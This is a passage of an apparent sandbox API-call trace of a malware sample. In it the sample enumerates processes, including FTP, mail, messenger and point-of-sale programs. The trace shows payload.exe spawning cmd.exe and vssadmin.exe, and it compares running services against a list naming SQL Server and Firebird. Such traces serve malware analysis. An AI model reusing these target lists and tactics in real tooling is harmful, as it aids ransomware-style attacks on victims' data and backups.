th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0039.448] lstrlenW (lpString="far.exe") returned 7 [0039.448] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0039.448] lstrlenW (lpString="filezilla.exe") returned 13 [0039.448] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0039.449] lstrlenW (lpString="flashfxp.exe") returned 12 [0039.449] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0039.449] lstrlenW (lpString="fling.exe") returned 9 [0039.449] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0039.449] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0039.449] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0039.450] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0039.450] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0039.450] lstrlenW (lpString="icq.exe") returned 7 [0039.450] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0039.451] lstrlenW (lpString="leechftp.exe") returned 12 [0039.451] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0039.451] lstrlenW (lpString="ncftp.exe") returned 9 [0039.451] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0039.452] lstrlenW (lpString="notepad.exe") returned 11 [0039.452] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0039.452] lstrlenW (lpString="operamail.exe") returned 13 [0039.453] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0039.453] lstrlenW (lpString="pidgin.exe") returned 10 [0039.453] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0039.454] lstrlenW (lpString="scriptftp.exe") returned 13 [0039.454] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0039.454] lstrlenW (lpString="skype.exe") returned 9 [0039.454] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0039.455] lstrlenW (lpString="smartftp.exe") returned 12 [0039.455] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0039.551] lstrlenW (lpString="thunderbird.exe") returned 15 [0039.551] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0039.551] lstrlenW (lpString="totalcmd.exe") returned 12 [0039.551] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0039.552] lstrlenW (lpString="trillian.exe") returned 12 [0039.552] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0039.553] lstrlenW (lpString="webdrive.exe") returned 12 [0039.553] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0039.553] lstrlenW (lpString="whatsapp.exe") returned 12 [0039.553] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0039.554] lstrlenW (lpString="winscp.exe") returned 10 [0039.554] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0039.554] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0039.554] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0039.555] lstrlenW (lpString="active-charge.exe") returned 17 [0039.555] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0039.556] lstrlenW (lpString="accupos.exe") returned 11 [0039.556] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0039.556] lstrlenW (lpString="afr38.exe") returned 9 [0039.556] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0039.557] lstrlenW (lpString="aldelo.exe") returned 10 [0039.557] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0039.557] lstrlenW (lpString="ccv_server.exe") returned 14 [0039.557] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0039.558] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0039.558] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0039.558] lstrlenW (lpString="creditservice.exe") returned 17 [0039.558] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0039.559] lstrlenW (lpString="edcsvr.exe") returned 10 [0039.559] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0039.559] lstrlenW (lpString="fpos.exe") returned 8 [0039.559] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0039.560] lstrlenW (lpString="isspos.exe") returned 10 [0039.560] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0039.560] lstrlenW (lpString="mxslipstream.exe") returned 16 [0039.560] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0039.561] lstrlenW (lpString="omnipos.exe") returned 11 [0039.561] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0039.561] lstrlenW (lpString="spcwin.exe") returned 10 [0039.561] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0039.561] lstrlenW (lpString="spgagentservice.exe") returned 19 [0039.561] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0039.562] lstrlenW (lpString="utg2.exe") returned 8 [0039.562] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0039.562] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0039.562] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0039.563] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0039.563] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0039.563] lstrlenW (lpString="notebook.exe") returned 12 [0039.563] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0039.564] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0039.564] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0039.564] lstrlenW (lpString="current.exe") returned 11 [0039.564] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0039.565] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0039.565] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0039.565] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0039.565] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.566] lstrlenW (lpString="taskhost.exe") returned 12 [0039.566] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0039.566] lstrlenW (lpString="dllhost.exe") returned 11 [0039.566] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0039.566] lstrlenW (lpString="dllhost.exe") returned 11 [0039.566] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0039.567] lstrlenW (lpString="payload.exe") returned 11 [0039.567] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0039.567] lstrlenW (lpString="cmd.exe") returned 7 [0039.567] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0039.568] lstrlenW (lpString="conhost.exe") returned 11 [0039.568] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0039.568] lstrlenW (lpString="vssadmin.exe") returned 12 [0039.568] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0039.569] lstrlenW (lpString="VSSVC.exe") returned 9 [0039.569] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0039.569] CloseHandle (hObject=0x1b0) returned 1 [0039.569] Sleep (dwMilliseconds=0x1f4) [0040.248] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8fffc8 [0040.249] EnumServicesStatusExW (in: hSCManager=0x8fffc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0040.249] GetLastError () returned 0xea [0040.249] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x123e) returned 0x395d750 [0040.249] EnumServicesStatusExW (in: hSCManager=0x8fffc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x395d750, cbBufSize=0x123e, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x395d750, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0040.251] CloseServiceHandle (hSCObject=0x8fffc8) returned 1 [0040.251] lstrlenW (lpString="Appinfo") returned 7 [0040.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0040.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0040.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0040.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0040.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0040.251] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0040.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.251] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0040.251] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0040.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0040.251] lstrlenW (lpString="AudioSrv") returned 8 [0040.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0040.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0040.251] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0040.251] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0040.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0040.251] lstrlenW (lpString="BFE") returned 3 [0040.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0040.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0040.251] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0040.252] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0040.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0040.252] lstrlenW (lpString="CryptSvc") returned 8 [0040.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0040.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0040.252] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0040.252] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0040.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0040.252] lstrlenW (lpString="CscService") returned 10 [0040.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0040.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0040.252] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0040.252] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0040.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0040.252] lstrlenW (lpString="DcomLaunch") returned 10 [0040.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.252] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0040.252] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0040.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0040.252] lstrlenW (lpString="Dhcp") returned 4 [0040.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0040.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0040.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0040.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0040.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0040.252] lstrlenW (lpString="Dnscache") returned 8 [0040.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0040.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0040.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0040.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0040.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0040.252] lstrlenW (lpString="DPS") returned 3 [0040.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0040.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0040.252] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0040.252] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0040.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0040.252] lstrlenW (lpString="eventlog") returned 8 [0040.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0040.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0040.252] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0040.252] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0040.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0040.252] lstrlenW (lpString="EventSystem") returned 11 [0040.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0040.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0040.252] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0040.252] lstrcmpiW 